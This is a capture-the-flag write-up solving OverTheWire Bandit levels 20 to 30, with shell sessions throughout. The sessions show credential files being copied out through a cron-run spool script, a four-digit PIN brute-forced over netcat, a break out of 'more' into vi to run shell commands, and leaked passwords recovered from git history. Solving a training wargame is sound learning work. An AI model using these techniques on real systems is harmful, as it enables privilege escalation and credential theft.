12 minutes
Bandit (20 -> 30)
Info ¶
From the OverTheWire website:
The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.
~ OverTheWire.org
Bandit ¶
Bandit is the first series of challenges and it’s recommended to start with these.
The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames.
~ OverTheWire.org
Make sure you following along on the website to get more info on the goal of the challenges and the skills that you’ll learn from them.
Always first try to do a challenge yourself.
You’ll learn more and might find methodologies or techniques that work better for you.
This write-up contains the solution of levels 20 to 30.
Need to go back for levels 10 to 20?
Level 20 -> 21 ¶
Connect with the OverTheWire infrastructure using the credentials retrieved in the previous level.
$ ssh bandit20@bandit.labs.overthewire.org -p 2220
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit20@bandit.labs.overthewire.org's password:
We need a way for a network service on the local system (localhost) to send the password of the previous level to any client connecting to it.
Set up a netcat listener to act as a network service on localhost. Pipe the previous level’s password to it, so that it will echo this string to any client connecting to it.
Then point the binary in the home directory to the port you’ve configured netcat to listen on.
The application will connect with the service, receive and read the password from the previous level (as is required for this level) and return the password for the next level.
# Setup listener
# Pipe password to the netcat listener
# Use & at the end to run in background, so we can call the binary without needing a 2nd sessions
bandit20@bandit:~$ echo "Gb##########0j" | nc -lvp 31337 &
[1] 30605
bandit20@bandit:~$ listening on [any] 31337 ...
# Execute binary, pointing it to our listener
bandit20@bandit:~$ ./suconnect 31337
connect to [127.0.0.1] from localhost [127.0.0.1] 55060
Read: Gb##########0j
Password matches, sending next password
gE##########Gr
# This output comes from the listener process (in background) closing after the client successfully connected and closed its connection
[1]+ Done echo "Gb##########0j" | nc -lvp 31337
Level 21 -> Level 22 ¶
Find the cronjob and look at what command it’s executing.
The cronjob sets the privileges on a file in the tmp
folder. Notice that this will allow us to read that file.
It then adds the contents of bandit22’s password file to that file in tmp
.
bandit21@bandit:~$ ls -R /etc/cron.d/
/etc/cron.d/:
atop cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7**********gv
cat /etc/bandit_pass/bandit22 > /tmp/t7**********gv
bandit21@bandit:~$ cat /tmp/t7**********gv
Yk##########LI
Level 22 -> Level 23 ¶
You’ll need to figure out what the value of $mytarget
is.
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
Don’t forget that we’re aiming for the password of bandit23.
bandit22@bandit:~$ echo "I am user bandit23" | md5sum | cut -d ' ' -f 1
8c**********49
bandit22@bandit:~$ cat /tmp/8c**********49
jc##########0n
Level 23 -> Level 24 ¶
First start off with looking at the cronjob and the script it’s calling.
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
timeout -s 9 60 ./$i
rm -f ./$i
fi
done
Let’s analyze this script.
- First, it assigns the output of the
whoami
command to a variable.
This would hold the username of the user executing the script, i.e. bandit24. - Then the script goes to the spool folder for this user.
/var/spool/
usually contains mail, news and printer queues. - Within this folder, it iterates over every file using a for loop.
If the name of a file isn’t.
(current folder) or..
(parent folder), it will:- output some text, including the filename;
- execute the script, timing out after 60 seconds, sending a
SIGKILL
signal to forcefully kill it; and - remove the file.
Note that cronjobs are executed within the context of the job owner and anything that’s outputted (e.g. echo) is not shown to us. It’s usually send to the user via an internal email (i.e. mail spool). So we’ll want to retrieve the user’s password via a method we do have access to, like a file in /tmp/
.
bandit23@bandit:~$ cat /var/spool/bandit24/sequr.sh
#!/bin/bash
# Generate a "random" filename
# 9dda1384c1cc97b1e73c63f42bbca608b47e8e0cce062aa420e67362d57f0e8c
# echo 'Visit sequr.be for more writeups' | sha256sum | cut -d' ' -f1
# 9dda1384c1cc97b1e73c63f42bbca608b47e8e0cce062aa420e67362d57f0e8c
sequr_tmp="/tmp/9dda1384c1cc97b1e73c63f42bbca608b47e8e0cce062aa420e67362d57f0e8c"
touch $sequr_tmp
chmod a+r $sequr_tmp
cat /etc/bandit_pass/bandit24 >> $sequr_tmp
Once the cronjob has finished, our script will be removed from the spool directory and we will find the password of the next level in our temp file.
bandit23@bandit:~$ cat /var/spool/bandit24/sequr.sh
cat: /var/spool/bandit24/sequr.sh: No such file or directory
bandit23@bandit:~$ cat /tmp/9dda1384c1cc97b1e73c63f42bbca608b47e8e0cce062aa420e67362d57f0e8c
Uo##########hZ
Level 24 -> Level 25 ¶
Let’s connect to the listener and see what’s going on.
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Uo##########hZ 0000
Wrong! Please enter the correct pincode. Try again.
Let’s see how we can bruteforce this.
The following oneliner will iterate through every 4-digit combination, open a netcat connection to the listener, try the password and close after 1 second. To keep our output a bit clean and spot more easily when we found the correct pin, I use some inverse grepping to remove unneeded output.
Note that this script will take 10.000 seconds or over 2 hours to run over every possible combination.
bandit24@bandit:~$ for pin in {0000..9999}; do echo "trying $pin"; echo "Uo##########hZ $pin" | nc -w 1 localhost 30002 | grep -v Wrong | grep -v checker; done
Let’s figure out a faster approach.
Create a file that contains every possible combination.
bandit24@bandit:~$ for pin in {0000..9999}; do echo "Uo##########hZ $pin" >> /tmp/bandit24; done
bandit24@bandit:~$ head /tmp/bandit24
Uo##########hZ 0000
Uo##########hZ 0001
Uo##########hZ 0002
Uo##########hZ 0003
Uo##########hZ 0004
Uo##########hZ 0005
Uo##########hZ 0006
Uo##########hZ 0007
Uo##########hZ 0008
Uo##########hZ 0009
bandit24@bandit:~$ tail /tmp/bandit24
Uo##########hZ 9990
Uo##########hZ 9991
Uo##########hZ 9992
Uo##########hZ 9993
Uo##########hZ 9994
Uo##########hZ 9995
Uo##########hZ 9996
Uo##########hZ 9997
Uo##########hZ 9998
Uo##########hZ 9999
Pipe this file to netcat. Each line will also be considered a new line in the netcat connection.
bandit24@bandit:~$ cat /tmp/bandit24 | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
[...]
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uN##########zG
Exiting.
To clean the output a bit up, we can again apply a reverse grep.
bandit24@bandit:~$ cat /tmp/bandit24 | nc localhost 30002 | grep -v Wrong
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is uN##########zG
Exiting.
Level 25 -> Level 26 ¶
As the level goal states, getting the ‘credentials’ (it’s an SSH key) for level26 isn’t hard.
bandit25@bandit:~$ ls
bandit26.sshkey
bandit25@bandit:~$ cat bandit26.sshkey
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
################################################################
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=
-----END RSA PRIVATE KEY-----
Let’s check what “shell” bandit26 is using.
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26❌11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0
So it looks like bandit26’s shell is a script that outputs the content of ~/text.txt
using more
. If you login as bandit26 using the SSH key we already captured, you’ll see the ASCII art contained in text.txt just before the connection closes.
To exploit the more
command into giving us a shell, we first need to resize our terminal so that it’s too small for the ASCII art to fit.
If you use tmux, you can split your terminal horizontally (^b "
) and resize your current pane by holding down CTRL and using the up/down arrow (^ + ↑
).

Pressing v
will open a text editor (defined by the $EDITOR
shell variable). It looks to be vi?
We can now open a different file, like the password file for bandit26, using :e /etc/bandit_pass/bandit26

Which opens said file and gives us the password for bandit26.
5c##########6Z
Level 26 -> Level 27 ¶
We need a way to abuse more
or vi
to gain a shell and retrieve the password for level27.
In vi, it’s possible to execute shell commands.
However, we first need to set the $TERM
variable.
:set sh=/bin/bash
Then we can execute commands within vi.
:!pwd
[No write since last change]
/home/bandit26
:!ls
[No write since last change]
bandit27-do text.txt
:!./bandit27-do
[No write since last change]
Run a command as another user.
Example: ./bandit27-do id
shell returned 1
:!./bandit27-do cat /etc/bandit_pass/bandit27
[No write since last change]
3b##########ea
Level 27 -> Level 28 ¶
Make a directory in /tmp
where we can clone the repo into.
Then clone the repo.
bandit27@bandit:/tmp$ cd
bandit27@bandit:~$ cd /tmp
bandit27@bandit:/tmp$ mkdir bandit27
bandit27@bandit:/tmp$ cd bandit27
bandit27@bandit:/tmp/bandit27$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit27/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit27-git@localhost's password:
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
Look inside the repo to find the password.
bandit27@bandit:/tmp/bandit27$ ls
repo
bandit27@bandit:/tmp/bandit27$ ls repo/
README
bandit27@bandit:/tmp/bandit27$ cat repo/README
The password to the next level is: 0e##########a2
Clean up after ourselves
bandit27@bandit:~$ rm -rf /tmp/bandit27
Level 28 -> Level 29 ¶
Similar to the previous level.
bandit28@bandit:~$ mkdir /tmp/bandit28
bandit28@bandit:~$ cd /tmp/bandit28
bandit28@bandit:/tmp/bandit28$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit28/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit28-git@localhost's password:
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/bandit28$ ls
repo
bandit28@bandit:/tmp/bandit28$ cd repo
bandit28@bandit:/tmp/bandit28/repo$ ls
README.md
bandit28@bandit:/tmp/bandit28/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
It looks like the credentials have been removed from the file.
But perhaps, the creator of this git repository initially did include the credentials in this file, notices his/her mistake and pushed a new commit removing the credentials?
Looking at the commit history, we see the creator initially set “” as password value. In a following commit the password was added. And in the final commit this password was replaces by a string of “x” characters.
bandit28@bandit:/tmp/bandit28/repo$ git log -p
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
fix info leak
diff --git a/README.md b/README.md
index 3f7cee8..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: bb##########b2
+- password: xxxxxxxxxx
Don’t forget to clean up!
bandit28@bandit:~$ rm -rf /tmp/bandit28
Level 29 -> Level 30 ¶
Similar exercise again.
bandit29@bandit:~$ mkdir /tmp/bandit29
bandit29@bandit:~$ cd /tmp/bandit29
bandit29@bandit:/tmp/bandit29$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit29/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit29/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit29-git@localhost's password:
remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/bandit29$ ls
repo
bandit29@bandit:/tmp/bandit29$ cd repo/
bandit29@bandit:/tmp/bandit29/repo$ ls
README.md
Checking the git log doesn’t provide us with a password.
bandit29@bandit:/tmp/bandit29/repo$ git log -p
commit 84abedc104bbc0c65cb9eb74eb1d3057753e70f8
Author: Ben Dover <noone@overthewire.org>
Date: Tue Oct 16 14:00:41 2018 +0200
fix username
diff --git a/README.md b/README.md
index 2da2f39..1af21d3 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,6 @@ Some notes for bandit30 of bandit.
## credentials
-- username: bandit29
+- username: bandit30
- password: <no passwords in production!>
commit 9b19e7d8c1aadf4edcc5b15ba8107329ad6c5650
Author: Ben Dover <noone@overthewire.org>
Date: Tue Oct 16 14:00:41 2018 +0200
initial commit of README.md
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2da2f39
--- /dev/null
+++ b/README.md
@@ -0,0 +1,8 @@
+# Bandit Notes
+Some notes for bandit30 of bandit.
+
+## credentials
+
+- username: bandit29
However, the README does say something about having passwords in production, so perhaps there’s something in a dev(elopment) branch?
bandit29@bandit:/tmp/bandit29/repo$ git log --oneline --decorate --graph --all
* 33ce2e9 (origin/dev) add data needed for development
* a8af722 add gif2ascii
| * 2af54c5 (origin/sploits-dev) add some silly exploit, just for shit and giggles
|/
* 84abedc (HEAD -> master, origin/master, origin/HEAD) fix username
* 9b19e7d initial commit of README.md
Adding --all
to the log command gives us much more information, including the password we’re looking for.
bandit29@bandit:/tmp/bandit29/repo$ git log --help
[...]
Commit Limiting
Besides specifying a range of commits that should be listed using the special notations explained in the description, additional commit limiting may be applied.
Using more options generally further limits the output (e.g. --since=<date1> limits to commits newer than <date1>, and using it with --grep=<pattern> further limits to commits
whose log message has a line that matches <pattern>), unless otherwise noted.
Note that these are applied before commit ordering and formatting options, such as --reverse.
[...]
--all
Pretend as if all the refs in refs/ are listed on the command line as <commit>.
[...]
bandit29@bandit:/tmp/bandit29/repo$ git log -p --all
commit 84abedc104bbc0c65cb9eb74eb1d3057753e70f8
Author: Ben Dover <noone@overthewire.org>
Date: Tue Oct 16 14:00:41 2018 +0200
fix username
diff --git a/README.md b/README.md
index 2da2f39..1af21d3 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,6 @@ Some notes for bandit30 of bandit.
## credentials
-- username: bandit29
+- username: bandit30
- password: <no passwords in production!>
commit 33ce2e95d9c5d6fb0a40e5ee9a2926903646b4e3
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:41 2018 +0200
add data needed for development
diff --git a/README.md b/README.md
index 1af21d3..39b87a8 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
## credentials
- username: bandit30
-- password: <no passwords in production!>
+- password: 5b##########af
Don’t forget to clean up!